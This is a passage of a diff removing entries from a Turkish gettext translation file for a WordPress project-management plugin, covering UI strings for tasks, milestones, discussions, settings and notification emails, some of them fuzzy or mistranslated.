has been deleted successfully." -msgstr "" - -#: texts/success_messages.php:78 -msgid "Settings has been changed successfully." -msgstr "" - -# @ cpm -#: texts/success_messages.php:81 -#, fuzzy -#| msgid "No comments found" -msgid "No element found" -msgstr "Bir yorum bulundu" - -# @ cpm -#: texts/success_messages.php:84 -#, fuzzy -#| msgid "No Project Found" -msgid "No Project found" -msgstr "Proje Bulunamadı" - -#: texts/success_messages.php:87 -msgid "Task marked as done" -msgstr "" - -#: texts/success_messages.php:90 -msgid "Task reopened" -msgstr "" - -#: vendor/a5hleyrich/wp-background-processing/classes/wp-background-process.php:425 -msgid "Every %d Minutes" -msgstr "" - -# @ cpm -#: views/assets/js/library.js:887 views/assets/js/library.js:1099 -#: views/assets/js/library.js:4869 views/assets/js/pm.js:887 -#: views/assets/js/pm.js:1099 views/assets/js/pm.js:5443 -#: views/assets/js/pm.js:5954 views/assets/js/pm.js:9713 -#: views/assets/js/pm.js:14773 -#: views/assets/src/components/categories/categories.vue:255 -#: views/assets/src/components/project-discussions/mixin.js:507 -#: views/assets/src/components/project-task-lists/list-comments.vue:111 -#: views/assets/src/components/project-task-lists/mixin.js:382 -#: views/assets/src/components/project-task-lists/mixin.js:602 -#: views/assets/src/components/project-task-lists/task-comments.vue:131 -#, fuzzy -#| msgid "Are you sure?" -msgid "Are you sure!" -msgstr "Emin misiniz?" - -# @ cpm -#: views/assets/js/library.js:3158 views/assets/js/pm.js:3732 -#: views/assets/src/helpers/mixin/mixin.js:703 -#: views/assets/vendor/mixin/mixin.js:636 -msgid "Are you sure to delete this project?" -msgstr "Bu projeyi silmek istediğinize emin misiniz?" - -#: views/assets/js/library.js:3841 views/assets/js/pm.js:4415 -#: views/assets/src/components/common/text-editor.vue:37 -msgid "Write a comment..." -msgstr "" - -#: views/assets/js/library.js:4169 views/assets/js/pm.js:4743 -#: views/assets/src/components/project-task-lists/single-task.vue:295 -msgid "Update Description" -msgstr "" - -#: views/assets/js/library.js:4632 views/assets/js/pm.js:5206 -#: views/assets/js/pm.js:10728 views/assets/js/pm.js:14513 -#: views/assets/src/components/project-discussions/comment-form.vue:39 -#: views/assets/src/components/project-task-lists/list-comment-form.vue:48 -#: views/assets/src/components/project-task-lists/task-comment-form.vue:64 -msgid "Add New Comment" -msgstr "" - -#: views/assets/js/library.js:4633 views/assets/js/pm.js:5207 -#: views/assets/js/pm.js:10729 views/assets/js/pm.js:14514 -#: views/assets/src/components/project-discussions/comment-form.vue:40 -#: views/assets/src/components/project-task-lists/list-comment-form.vue:49 -#: views/assets/src/components/project-task-lists/task-comment-form.vue:65 -#: views/emails/html/update-comment.php:12 -msgid "Update Comment" -msgstr "" - -#: views/assets/js/library.js:5620 views/assets/js/pm.js:7465 -msgid "textarea" -msgstr "" - -#: views/assets/js/library.js:5661 views/assets/js/pm.js:7506 -#: views/assets/js/pm.js:25191 -msgid "form" -msgstr "" - -#: views/assets/js/library.js:5753 views/assets/js/library.js:5843 -#: views/assets/js/library.js:6109 views/assets/js/library.js:6887 -#: views/assets/js/library.js:6964 views/assets/js/library.js:7110 -#: views/assets/js/library.js:10361 views/assets/js/library.js:10395 -#: views/assets/js/library.js:10440 views/assets/js/library.js:10498 -#: views/assets/js/library.js:10699 views/assets/js/library.js:10757 -#: views/assets/js/pm.js:7598 views/assets/js/pm.js:7688 -#: views/assets/js/pm.js:7954 views/assets/js/pm.js:8732 -#: views/assets/js/pm.js:8809 views/assets/js/pm.js:8955 -#: views/assets/js/pm.js:23547 views/assets/js/pm.js:23616 -#: views/assets/js/pm.js:23915 views/assets/js/pm.js:24205 -#: views/assets/js/pm.js:24239 views/assets/js/pm.js:24446 -#: views/assets/js/pm.js:24569 views/assets/js/pm.js:24729 -#: views/assets/js/pm.js:24763 views/assets/js/pm.js:25132 -#: views/assets/js/pm.js:25346 views/assets/js/pm.js:25862 -#: views/assets/js/pm.js:25896 views/assets/js/pm.js:25987 -#: views/assets/js/pm.js:26537 views/assets/js/pm.js:26640 -#: views/assets/js/pm.js:26731 views/assets/js/pm.js:26795 -#: views/assets/js/pm.js:26886 views/assets/js/pm.js:27157 -#: views/assets/js/pm.js:27200 views/assets/js/pm.js:27551 -#: views/assets/js/pm.js:27638 views/assets/js/pm.js:27777 -#: views/assets/js/pm.js:28558 views/assets/js/pm.js:28592 -#: views/assets/js/pm.js:28674 views/assets/js/pm.js:29193 -#: views/assets/js/pm.js:29234 views/assets/js/pm.js:29675 -#: views/assets/js/pm.js:29935 views/assets/js/pm.js:29969 -#: views/assets/js/pm.js:30251 views/assets/js/pm.js:30296 -#: views/assets/js/pm.js:30476 views/assets/js/pm.js:30954 -#: views/assets/js/pm.js:31165 views/assets/js/pm.js:31200 -#: views/assets/js/pm.js:31386 views/assets/js/pm.js:31477 -#: views/assets/js/pm.js:31586 views/assets/js/pm.js:31651 -#: views/assets/js/pm.js:31962 views/assets/js/pm.js:32460 -#: views/assets/js/pm.js:32830 views/assets/js/pm.js:33075 -#: views/assets/js/pm.js:33109 views/assets/js/pm.js:33209 -#: views/assets/js/pm.js:33376 views/assets/js/pm.js:33446 -#: views/assets/js/pm.js:33803 views/assets/js/pm.js:33846 -#: views/assets/js/pm.js:34055 views/assets/js/pm.js:34228 -#: views/assets/js/pm.js:34332 views/assets/js/pm.js:34372 -msgid "div" -msgstr "" - -#: views/assets/js/library.js:6909 views/assets/js/pm.js:8754 -#: views/assets/js/pm.js:23525 -msgid "span" -msgstr "" - -#: views/assets/js/library.js:6937 views/assets/js/pm.js:8782 -#: views/assets/js/pm.js:24537 views/assets/js/pm.js:26571 -#: views/assets/js/pm.js:28649 views/assets/js/pm.js:32805 -#: views/assets/js/pm.js:33414 -msgid "input" -msgstr "" - -# @ cpm -#: views/assets/js/pm.js:2326 -#: views/assets/src/components/project-milestones/mixin.js:316 -#, fuzzy -#| msgid "Are you sure to delete this message?" -msgid "Are you sure! Want to delete this milestones?" -msgstr "Mesajı silmek istediğinize emin misiniz?" - -# @ cpm -#: views/assets/js/pm.js:5999 -#: views/assets/src/components/project-discussions/mixin.js:554 -#, fuzzy -#| msgid "Are you sure to delete this project?" -msgid "Are you sure to delete this comment?" -msgstr "Bu projeyi silmek istediğinize emin misiniz?" - -# @ cpm -#: views/assets/js/pm.js:9674 -#: views/assets/src/components/categories/categories.vue:23 -#: views/assets/src/components/categories/categories.vue:212 -#, fuzzy -#| msgid "Add New Message" -msgid "Add New Category" -msgstr "Yeni Mesaj Yaz" - -# @ cpm -#: views/assets/js/pm.js:9793 -#: views/assets/src/components/categories/edit-category-form.vue:42 -#, fuzzy -#| msgid "Update Message" -msgid "Update Category" -msgstr "Mesajı Güncelle" - -# @ cpm -#: views/assets/js/pm.js:10288 views/assets/js/pm.js:12746 -#: views/assets/src/components/common/header.vue:81 -#: views/assets/src/components/project-lists/project-summary.vue:165 -#, fuzzy -#| msgid "Project Activity" -msgid "Project Actions" -msgstr "Proje Aktivitesi" - -#: views/assets/js/pm.js:10314 -#: views/assets/src/components/common/header.vue:110 -msgid "Overview" -msgstr "" - -#: views/assets/js/pm.js:10323 -#: views/assets/src/components/common/header.vue:121 -msgid "Activities" -msgstr "" - -#: views/assets/js/pm.js:10332 -#: views/assets/src/components/common/header.vue:132 -#: views/assets/src/components/project-discussions/discussions.vue:20 -#: views/assets/src/components/project-lists/project-summary.vue:32 -#: views/assets/src/components/project-milestones/completed-milestones.vue:32 -#: views/assets/src/components/project-milestones/late-milestones.vue:39 -#: views/assets/src/components/project-milestones/upcoming-milestones.vue:42 -#: views/assets/src/components/project-overview/overview.vue:31 -msgid "Discussions" -msgstr "" - -# @ cpm -#: views/assets/js/pm.js:10341 -#: views/assets/src/components/common/header.vue:143 -#: views/assets/src/components/project-lists/project-summary.vue:48 -#: views/assets/src/components/project-milestones/completed-milestones.vue:23 -#: views/assets/src/components/project-milestones/late-milestones.vue:30 -#: views/assets/src/components/project-milestones/upcoming-milestones.vue:32 -#: views/assets/src/components/project-overview/overview.vue:46 -#: views/assets/src/components/project-task-lists/default-list-page.vue:4 -msgid "Task Lists" -msgstr "Görev Listesi" - -# @ cpm -#: views/assets/js/pm.js:10350 -#: views/assets/src/components/common/header.vue:154 -#: views/assets/src/components/project-lists/project-summary.vue:78 -#: views/assets/src/components/project-milestones/milestones.vue:19 -#: views/assets/src/components/project-overview/overview.vue:97 -msgid "Milestones" -msgstr "Kilometre Taşı" - -# @ cpm -#: views/assets/js/pm.js:10359 -#: views/assets/src/components/common/header.vue:165 -#: views/assets/src/components/project-lists/project-summary.vue:93 -#: views/assets/src/components/project-overview/overview.vue:82 -msgid "Files" -msgstr "Dosyalar" - -# @ cpm -#: views/assets/js/pm.js:10975 -#: views/assets/src/components/categories/categories.vue:104 -#: views/assets/src/components/common/header.vue:10 -#: views/assets/src/components/project-discussions/discussions.vue:158 -#: views/assets/src/components/project-task-lists/incompleted-tasks.vue:71 -msgid "Edit" -msgstr "Düzenle" - -# @ cpm -#: views/assets/js/pm.js:10976 -#: views/assets/src/components/project-discussions/discussions.vue:159 -msgid "Delete this message" -msgstr "Bu mesajı sil." - -#: views/assets/js/pm.js:10977 -#: views/assets/src/components/project-discussions/discussions.vue:160 -msgid "Make it private" -msgstr "" - -# @ cpm -#: views/assets/js/pm.js:11351 -#: views/assets/src/components/project-discussions/new-discuss-form.vue:55 -msgid "Enter message title" -msgstr "Mesaj başlığı girin" - -# @ cpm -#: views/assets/js/pm.js:11352 -#: views/assets/src/components/project-discussions/new-discuss-form.vue:56 -msgid "Add Message" -msgstr "Mesaj Yaz" - -# @ cpm -#: views/assets/js/pm.js:11353 -#: views/assets/src/components/project-discussions/new-discuss-form.vue:57 -msgid "Update Message" -msgstr "Mesajı Güncelle" - -# @ cpm -#: views/assets/js/pm.js:12089 -#: views/assets/src/components/project-lists/header.vue:69 -msgid "Start a new project" -msgstr "Yeni proje başlat" - -# @ cpm -#: views/assets/js/pm.js:12190 -#: views/assets/src/components/project-lists/project-create-form.vue:87 -msgid "Name of the project" -msgstr "Projenin adı" - -# @ wedevs -#: views/assets/js/pm.js:12191 -#: views/assets/src/components/project-lists/project-create-form.vue:88 -msgid "Some details about the project (optional)" -msgstr "Proje ile ilgili ayrıntılar (isteğe bağlı)" - -#: views/assets/js/pm.js:12192 -#: views/assets/src/components/project-lists/project-create-form.vue:89 -msgid "Type 3 or more characters to search users..." -msgstr "" - -#: views/assets/js/pm.js:12193 views/assets/js/pm.js:18016 -#: views/assets/src/components/project-lists/directive.js:75 -#: views/assets/src/components/project-lists/project-create-form.vue:90 -msgid "Create a new user" -msgstr "" - -# @ cpm -#: views/assets/js/pm.js:12194 -#: views/assets/src/components/project-lists/project-create-form.vue:91 -msgid "Add New Project" -msgstr "Yeni Proje Ekle" - -# @ cpm -#: views/assets/js/pm.js:12195 -#: views/assets/src/components/project-lists/project-create-form.vue:92 -#: views/emails/html/update-project.php:9 -msgid "Update Project" -msgstr "Projeyi Güncelle" - -#: views/assets/js/pm.js:12536 -#: views/assets/src/components/project-lists/project-new-user-form.vue:43 -msgid "Create User" -msgstr "" - -#: views/assets/js/pm.js:12853 -#: views/assets/src/components/project-lists/project-view.vue:17 -msgid "List View" -msgstr "" - -#: views/assets/js/pm.js:12854 -#: views/assets/src/components/project-lists/project-view.vue:18 -msgid "Grid View" -msgstr "" - -# @ cpm -#: views/assets/js/pm.js:12946 -#: views/assets/src/components/project-milestones/action-milestones.vue:33 -msgid "Edit Milestone" -msgstr "Kilometre Taşı Düzenle" - -# @ cpm -#: views/assets/js/pm.js:12947 -#: views/assets/src/components/project-milestones/action-milestones.vue:34 -msgid "Delete milestone" -msgstr "Kilometre Taşını Sil" - -#: views/assets/js/pm.js:12948 -#: views/assets/src/components/project-milestones/action-milestones.vue:35 -msgid "Mark as incomplete" -msgstr "" - -# @ cpm -#: views/assets/js/pm.js:12949 -#: views/assets/src/components/project-milestones/action-milestones.vue:36 -msgid "Mark as complete" -msgstr "Tamamlandı İşaretle" - -#: views/assets/js/pm.js:13571 views/assets/js/pm.js:15563 -#: views/assets/src/components/project-milestones/new-milestone-form.vue:44 -#: views/assets/src/components/project-task-lists/new-task-form.vue:112 -msgid "Due Date" -msgstr "" - -# @ cpm -#: views/assets/js/pm.js:13572 -#: views/assets/src/components/project-milestones/new-milestone-form.vue:45 -msgid "Milestone name" -msgstr "Kilometre Taşı Adı" - -# @ cpm -#: views/assets/js/pm.js:13573 -#: views/assets/src/components/project-milestones/milestones.vue:24 -#: views/assets/src/components/project-milestones/milestones.vue:52 -#: views/assets/src/components/project-milestones/new-milestone-form.vue:46 -msgid "Add Milestone" -msgstr "Kilometre Taşı Ekle" - -# @ cpm -#: views/assets/js/pm.js:13574 -#: views/assets/src/components/project-milestones/new-milestone-form.vue:47 -msgid "Update Milestone" -msgstr "Kilometre Taşını Güncelle" - -#: views/assets/js/pm.js:15560 -#: views/assets/src/components/project-task-lists/new-task-form.vue:109 -msgid "Add a new task" -msgstr "" - -#: views/assets/js/pm.js:15561 -#: views/assets/src/components/project-task-lists/new-task-form.vue:110 -msgid "Add extra details about this task (optional)" -msgstr "" - -#: views/assets/js/pm.js:15562 -#: views/assets/src/components/project-task-lists/new-task-form.vue:111 -msgid "Start Date" -msgstr "" - -#: views/assets/js/pm.js:15564 -#: views/assets/src/components/project-task-lists/new-task-form.vue:113 -msgid "Select User" -msgstr "" - -#: views/assets/js/pm.js:15565 -#: views/assets/src/components/project-task-lists/new-task-form.vue:114 -msgid "Update Task" -msgstr "" - -# @ cpm -#: views/assets/js/pm.js:15566 -#: views/assets/src/components/project-task-lists/new-task-btn.vue:3 -#: views/assets/src/components/project-task-lists/new-task-form.vue:115 -msgid "Add Task" -msgstr "Görev Ekle" - -#: views/assets/js/pm.js:15567 -#: views/assets/src/components/project-task-lists/new-task-form.vue:116 -msgid "Estimated hour to complete the task" -msgstr "" - -#: views/assets/js/pm.js:15928 -#: views/assets/src/components/project-task-lists/new-task-list-form.vue:71 -msgid "Task list name" -msgstr "" - -#: views/assets/js/pm.js:15929 -#: views/assets/src/components/project-task-lists/new-task-list-form.vue:72 -msgid "Task list details" -msgstr "" - -# @ cpm -#: views/assets/js/pm.js:15930 -#: views/assets/src/components/project-task-lists/new-task-list-form.vue:73 -msgid "Update List" -msgstr "Liste Güncelle" - -# @ cpm -#: views/assets/js/pm.js:15931 -#: views/assets/src/components/project-discussions/discussions.vue:16 -#: views/assets/src/components/project-task-lists/new-task-list-form.vue:74 -msgid "Add List" -msgstr "Liste Ekle" - -# @ cpm -#: views/assets/js/pm.js:16368 -#: views/assets/src/components/project-task-lists/single-list.vue:121 -#, fuzzy -#| msgid "Delete milestone" -msgid "Delete List" -msgstr "Kilometre Taşını Sil" - -# @ cpm -#: views/assets/js/pm.js:16699 views/assets/js/pm.js:16847 -#: views/assets/src/components/settings/email.vue:82 -#: views/assets/src/components/settings/general.vue:116 -msgid "Save Changes" -msgstr "Değişiklikleri Kaydet" - -#: views/assets/js/pm.js:18015 -#: views/assets/src/components/project-lists/directive.js:74 -msgid "No users found." -msgstr "" - -# @ cpm -#: views/assets/js/pm.js:18540 -#: views/assets/src/components/project-overview/directive.js:9 -msgid "Activity" -msgstr "Aktivite" - -#: views/assets/js/pm.js:23425 views/assets/js/pm.js:23847 -#: views/assets/js/pm.js:31861 -msgid "ul" -msgstr "" - -#: views/assets/js/pm.js:26597 -msgid "a" -msgstr "" - -#: views/assets/js/pm.js:30932 views/assets/js/pm.js:31629 -msgid "router-view" -msgstr "" - -#: views/assets/js/pm.js:33541 -msgid "svg" -msgstr "" - -#: views/assets/js/pm.js:33711 -msgid "vue-content-loading" -msgstr "" - -#: views/assets/src/components/categories/categories.vue:27 -#: views/assets/src/components/categories/categories.vue:74 -#: views/assets/src/components/categories/categories.vue:130 -#: views/assets/src/components/categories/edit-category-form.vue:8 -msgid "Name" -msgstr "" - -#: views/assets/src/components/categories/categories.vue:33 -#: views/assets/src/components/categories/categories.vue:79 -#: views/assets/src/components/categories/categories.vue:136 -#: views/assets/src/components/categories/edit-category-form.vue:14 -msgid "Description" -msgstr "" - -#: views/assets/src/components/categories/categories.vue:54 -msgid "Select bulk action" -msgstr "" - -#: views/assets/src/components/categories/categories.vue:56 -#: views/assets/src/components/categories/categories.vue:155 -msgid "Bulk Actions" -msgstr "" - -# @ cpm -#: views/assets/src/components/categories/categories.vue:57 -#: views/assets/src/components/categories/categories.vue:156 -#: views/assets/src/components/common/header.vue:29 -#: views/assets/src/components/project-lists/project-create-form.vue:36 -#: views/assets/src/components/project-lists/project-summary.vue:134 -#: views/assets/src/components/project-task-lists/incompleted-tasks.vue:74 -msgid "Delete" -msgstr "Sil" - -# @ cpm -#: views/assets/src/components/categories/categories.vue:69 -#: views/assets/src/components/common/notify-user.vue:7 -msgid "Select all" -msgstr "Hepsini seç" - -#: views/assets/src/components/categories/edit-category-form.vue:5 -msgid "Quick Edit" -msgstr "" - -# @ cpm -# @ wedevs -#: views/assets/src/components/categories/edit-category-form.vue:23 -#: views/assets/src/components/project-discussions/new-discuss-form.vue:32 -#: views/assets/src/components/project-lists/project-create-form.vue:57 -#: views/assets/src/components/project-milestones/new-milestone-form.vue:18 -#: views/assets/src/components/project-task-lists/new-task-form.vue:51 -#: views/assets/src/components/project-task-lists/new-task-list-form.vue:27 -msgid "Cancel" -msgstr "İptal" - -# @ cpm -#: views/assets/src/components/common/color-picker.vue:9 -#, fuzzy -#| msgid "Select all" -msgid "Select Color" -msgstr "Hepsini seç" - -#: views/assets/src/components/common/color-picker.vue:25 -msgid "Clear" -msgstr "" - -#: views/assets/src/components/common/color-picker.vue:31 -msgid "Close" -msgstr "" - -# @ default -#: views/assets/src/components/common/file-uploader.vue:10 -msgid "Delete File" -msgstr "Dosyayı Sil" - -#: views/assets/src/components/common/file-uploader.vue:16 -msgid "To attach" -msgstr "" - -#: views/assets/src/components/common/file-uploader.vue:17 -msgid "select files" -msgstr "" - -#: views/assets/src/components/common/file-uploader.vue:18 -msgid "from your computer." -msgstr "" - -# @ cpm -#: views/assets/src/components/common/header.vue:17 -#: views/assets/src/components/project-lists/project-header-menu.vue:13 -#: views/assets/src/components/project-task-lists/lists.vue:92 -msgid "Completed" -msgstr "Tamamlandı" - -#: views/assets/src/components/common/header.vue:18 -#: views/assets/src/components/project-task-lists/lists.vue:102 -msgid "Incomplete" -msgstr "" - -#: views/assets/src/components/common/header.vue:36 -#: views/assets/src/components/project-lists/project-summary.vue:141 -msgid "Complete" -msgstr "" - -#: views/assets/src/components/common/header.vue:39 -#: views/assets/src/components/project-lists/project-summary.vue:144 -msgid "Restore" -msgstr "" - -# @ cpm -#: views/assets/src/components/common/notify-user.vue:4 -msgid "Notify users" -msgstr "Kullanıcılara Bildir" - -# @ cpm -#: views/assets/src/components/project-activities/activities.vue:46 -#, fuzzy -#| msgid "Load More..." -msgid "Load More ..." -msgstr "Daha fazla yükle ..." - -#: views/assets/src/components/project-activities/activities.vue:48 -msgid "No activity fount" -msgstr "" - -#: views/assets/src/components/project-discussions/discussions.vue:23 -msgid "" -"Use our built in discussion panel to create an open discussion, a group " -"discussion or a private conversation. Note that the Admin can always " -"moderate these discussions." -msgstr "" - -#: views/assets/src/components/project-discussions/discussions.vue:27 -#: views/assets/src/components/project-discussions/discussions.vue:54 -msgid "Add New Discussion" -msgstr "" - -# @ cpm -#: views/assets/src/components/project-discussions/discussions.vue:32 -#: views/assets/src/components/project-discussions/discussions.vue:59 -msgid "Create a new message" -msgstr "Yeni mesaj oluştur." - -#: views/assets/src/components/project-discussions/discussions.vue:38 -msgid "When to use Discussions?" -msgstr "" - -#: views/assets/src/components/project-discussions/discussions.vue:41 -msgid "To discuss a work matter privately." -msgstr "" - -#: views/assets/src/components/project-discussions/discussions.vue:42 -msgid "To exchange files privately." -msgstr "" - -#: views/assets/src/components/project-discussions/discussions.vue:43 -msgid "To discuss in a group." -msgstr "" - -#: views/assets/src/components/project-discussions/discussions.vue:44 -msgid "To create an open discussion visible to all." -msgstr "" - -#: views/assets/src/components/project-discussions/discussions.vue:68 -msgid "Discussion List" -msgstr "" - -# @ cpm -#: views/assets/src/components/project-discussions/discussions.vue:84 -#: views/assets/src/components/project-discussions/individual-discussions.vue:32 -#: views/assets/src/components/project-task-lists/list-comments.vue:15 -#: views/assets/src/components/project-task-lists/task-comments.vue:15 -#, fuzzy -#| msgid "Body" -msgid "By" -msgstr "yazı" - -#: views/assets/src/components/project-discussions/discussions.vue:88 -#: views/assets/src/components/project-discussions/individual-discussions.vue:35 -#: views/assets/src/components/project-discussions/individual-discussions.vue:77 -#: views/assets/src/components/project-task-lists/list-comments.vue:22 -#: views/assets/src/components/project-task-lists/task-comments.vue:21 -msgid "on" -msgstr "" - -#: views/assets/src/components/project-discussions/discussions.vue:110 -#: views/assets/src/components/project-discussions/individual-discussions.vue:61 -#: views/assets/src/components/project-lists/project-summary.vue:104 -#: views/assets/src/components/project-overview/overview.vue:68 -#: views/assets/src/components/project-task-lists/lists.vue:111 -#: views/assets/src/components/project-task-lists/single-task.vue:174 -msgid "Comments" -msgstr "" - -#: views/assets/src/components/project-discussions/new-discuss-form.vue:16 -#: views/assets/src/components/project-task-lists/new-task-list-form.vue:16 -msgid "- Milestone -" -msgstr "" - -#: views/assets/src/components/project-files/files.vue:36 -msgid "Attached to" -msgstr "" - -#: views/assets/src/components/project-files/files.vue:38 -msgid "by" -msgstr "" - -#: views/assets/src/components/project-files/files.vue:40 -msgid "admin" -msgstr "" - -# @ cpm -#: views/assets/src/components/project-files/files.vue:62 -#, fuzzy -#| msgid "No users found" -msgid "No result found!" -msgstr "Kullanıcı Bulunamadı" - -#: views/assets/src/components/project-lists/project-create-form.vue:13 -#: views/assets/src/components/project-lists/project-filter-by-category.vue:6 -msgid "- Project Category -" -msgstr "" - -#: views/assets/src/components/project-lists/project-create-form.vue:50 -msgid "Notify Co-Workers" -msgstr "" - -#: views/assets/src/components/project-lists/project-header-menu.vue:6 -msgid "Active" -msgstr "" - -#: views/assets/src/components/project-lists/project-header-menu.vue:20 -msgid "All" -msgstr "" - -# @ cpm -#: views/assets/src/components/project-lists/project-new-project-btn.vue:3 -#: views/emails/html/new-project.php:10 -msgid "New Project" -msgstr "Yeni Proje" - -#: views/assets/src/components/project-lists/project-new-user-form.vue:7 -msgid "Username" -msgstr "" - -#: views/assets/src/components/project-lists/project-new-user-form.vue:12 -msgid "First Name" -msgstr "" - -#: views/assets/src/components/project-lists/project-new-user-form.vue:17 -msgid "Last Name" -msgstr "" - -#: views/assets/src/components/project-lists/project-new-user-form.vue:22 -msgid "Email" -msgstr "" - -#: views/assets/src/components/project-lists/project-summary.vue:4 -msgid "No projects found." -msgstr "" - -# @ cpm -#: views/assets/src/components/project-lists/project-summary.vue:63 -#: views/assets/src/components/project-overview/overview.vue:57 -msgid "Tasks" -msgstr "Görevler" - -# @ cpm -#: views/assets/src/components/project-milestones/completed-milestones.vue:3 -msgid "Completed Milestones" -msgstr "Tamamlanan Kilometre Taşı" - -# @ cpm -#: views/assets/src/components/project-milestones/completed-milestones.vue:43 -msgid "Completed on:" -msgstr "Tamamlanma Zamanı:" - -# @ cpm -#: views/assets/src/components/project-milestones/late-milestones.vue:3 -msgid "Late Milestones" -msgstr "Geçmiş Kilometre Taşı" - -#: views/assets/src/components/project-milestones/milestones.vue:21 -msgid "" -"Create a lifecycle of your projects using milestones. Time mark the " -"different stages of your project with multiple milestones and also it will " -"help the assigned people to aim for a date to complete the project according " -"to those steps." -msgstr "" - -#: views/assets/src/components/project-milestones/milestones.vue:37 -msgid "When to use Milestones?" -msgstr "" - -#: views/assets/src/components/project-milestones/milestones.vue:40 -msgid "To set a target date for the project overall." -msgstr "" - -#: views/assets/src/components/project-milestones/milestones.vue:41 -msgid "To divide a project into several development-time phases." -msgstr "" - -#: views/assets/src/components/project-milestones/milestones.vue:42 -msgid "To coordinate projects and assigned persons timely." -msgstr "" - -# @ cpm -#: views/assets/src/components/project-milestones/upcoming-milestones.vue:3 -msgid "Upcoming Milestones" -msgstr "Gelecek Kilometre Taşı" - -# @ cpm -#: views/assets/src/components/project-milestones/upcoming-milestones.vue:10 -#, fuzzy -#| msgid "left" -msgid "left -" -msgstr "sol" - -#: views/assets/src/components/project-overview/overview.vue:107 -msgid "Last 30 days" -msgstr "" - -#: views/assets/src/components/project-overview/overview.vue:116 -msgid "Users" -msgstr "" - -#: views/assets/src/components/project-task-lists/default-list-page.vue:6 -msgid "" -"You can list all your Tasks in a single discussion using a Task list. Use " -"these lists to divide a project into several sectors, assign co-workers and " -"check progress." -msgstr "" - -#: views/assets/src/components/project-task-lists/default-list-page.vue:14 -msgid "When to use Task Lists?" -msgstr "" - -#: views/assets/src/components/project-task-lists/default-list-page.vue:17 -msgid "To partition a project internals." -msgstr "" - -#: views/assets/src/components/project-task-lists/default-list-page.vue:18 -msgid "To mark milestone points." -msgstr "" - -#: views/assets/src/components/project-task-lists/default-list-page.vue:19 -msgid "To assign people to tasks." -msgstr "" - -#: views/assets/src/components/project-task-lists/list-comments.vue:4 -msgid "Discuss this task list" -msgstr "" - -#: views/assets/src/components/project-task-lists/list-tasks.vue:9 -#: views/assets/src/components/project-task-lists/single-list-tasks.vue:12 -#: views/assets/src/components/project-task-lists/single-list-tasks.vue:29 -msgid "No tasks found." -msgstr "" - -#: views/assets/src/components/project-task-lists/lists.vue:77 -#: views/assets/src/components/project-task-lists/single-list-tasks.vue:14 -#: views/assets/src/components/project-task-lists/single-list-tasks.vue:32 -msgid "More Tasks" -msgstr "" - -# @ cpm -#: views/assets/src/components/project-task-lists/new-task-list-btn.vue:7 -msgid "New Task List" -msgstr "Yeni Görev Listesi" - -#: views/assets/src/components/project-task-lists/single-list-tasks.vue:5 -msgid "Incomplete Tasks" -msgstr "" - -#: views/assets/src/components/project-task-lists/single-list-tasks.vue:21 -msgid "Completed Tasks" -msgstr "" - -#: views/assets/src/components/project-task-lists/single-list.vue:29 -msgid "Back to Task Lists" -msgstr "" - -#: views/assets/src/components/project-task-lists/single-task.vue:203 -msgid "Shift+Enter for line break" -msgstr "" - -#: views/assets/src/components/project-task-lists/task-comments.vue:4 -msgid "Discuss this task" -msgstr "" - -# @ cpm -#: views/assets/src/components/settings/email.vue:7 -#: views/assets/src/components/settings/header.vue:9 -msgid "E-Mail Settings" -msgstr "E-Mail Ayarları" - -#: views/assets/src/components/settings/email.vue:12 -msgid "From Email" -msgstr "" - -#: views/assets/src/components/settings/email.vue:20 -msgid "Links in the Email" -msgstr "" - -#: views/assets/src/components/settings/email.vue:25 -msgid "Link to Backend" -msgstr "" - -#: views/assets/src/components/settings/email.vue:28 -msgid "" -"Select where do you want to take the user. Notification emails contain links." -msgstr "" - -# @ cpm -#: views/assets/src/components/settings/email.vue:35 -msgid "E-Mail Type" -msgstr "E-mail Tipi" - -# @ cpm -#: views/assets/src/components/settings/email.vue:39 -msgid "HTML Mail" -msgstr "HTML Mail" - -# @ cpm -#: views/assets/src/components/settings/email.vue:40 -msgid "Plain Text" -msgstr "Zengin Metin" - -#: views/assets/src/components/settings/email.vue:46 -msgid "Send email via Bcc" -msgstr "" - -#: views/assets/src/components/settings/email.vue:52 -msgid "Enable Bcc" -msgstr "" - -#: views/assets/src/components/settings/general.vue:7 -#: views/assets/src/components/settings/header.vue:5 -msgid "General Settings" -msgstr "" - -# @ cpm -#: views/assets/src/components/settings/general.vue:12 -msgid "File Upload Limit" -msgstr "Dosya Yükleme Limiti" - -#: views/assets/src/components/settings/general.vue:16 -msgid "File Size in Megabytes. e.g: 2" -msgstr "" - -#: views/assets/src/components/settings/general.vue:21 -msgid "Projects Per Page" -msgstr "" - -#: views/assets/src/components/settings/general.vue:25 -msgid "-1 for unlimited" -msgstr "" - -#: views/assets/src/components/settings/general.vue:31 -msgid "Task Lists Per Page" -msgstr "" - -#: views/assets/src/components/settings/general.vue:39 -msgid "Incomplete Tasks Per Page" -msgstr "" - -#: views/assets/src/components/settings/general.vue:47 -msgid "Completed Tasks Per Page" -msgstr "" - -#: views/assets/src/components/settings/general.vue:55 -msgid "Project Managing Capability" -msgstr "" - -#: views/assets/src/components/settings/general.vue:65 -#: views/assets/src/components/settings/general.vue:81 -msgid "Select the user roles who can see and manage all projects." -msgstr "" - -#: views/assets/src/components/settings/general.vue:71 -msgid "Project Creation Capability" -msgstr "" - -#: views/emails/html/complete-task.php:12 -msgid "Task status has been changed" -msgstr "" - -#: views/emails/html/complete-task.php:25 -msgid "Changed by" -msgstr "" - -# @ cpm -#: views/emails/html/complete-task.php:31 views/emails/html/new-task.php:24 -#: views/emails/html/update-task.php:24 -#, fuzzy -#| msgid "Due date" -msgid "due date" -msgstr "Bitiş Tarihi" - -#: views/emails/html/complete-task.php:36 views/emails/html/new-task.php:29 -#: views/emails/html/update-task.php:29 -msgid "start at" -msgstr "" - -# @ cpm -#: views/emails/html/complete-task.php:54 views/emails/html/new-task.php:46 -#: views/emails/html/update-task.php:46 -msgid "View Task" -msgstr "Görevi Görüntül" - -#: views/emails/html/new-comment.php:12 -msgid "New Comment" -msgstr "" - -#: views/emails/html/new-comment.php:19 views/emails/html/update-comment.php:19 -msgid "Commented By" -msgstr "" - -#: views/emails/html/new-comment.php:23 views/emails/html/update-comment.php:23 -msgid "On" -msgstr "" - -#: views/emails/html/new-comment.php:38 views/emails/html/update-comment.php:38 -#: views/emails/mention.php:47 -msgid "View Comment" -msgstr "" - -# @ cpm -#: views/emails/html/new-message.php:12 -msgid "New Message" -msgstr "Yeni Mesaj" - -#: views/emails/html/new-message.php:19 -msgid "Message Created By" -msgstr "" - -#: views/emails/html/new-message.php:28 -msgid "Title" -msgstr "" - -# @ cpm -#: views/emails/html/new-message.php:49 -msgid "View Message" -msgstr "Mesajı 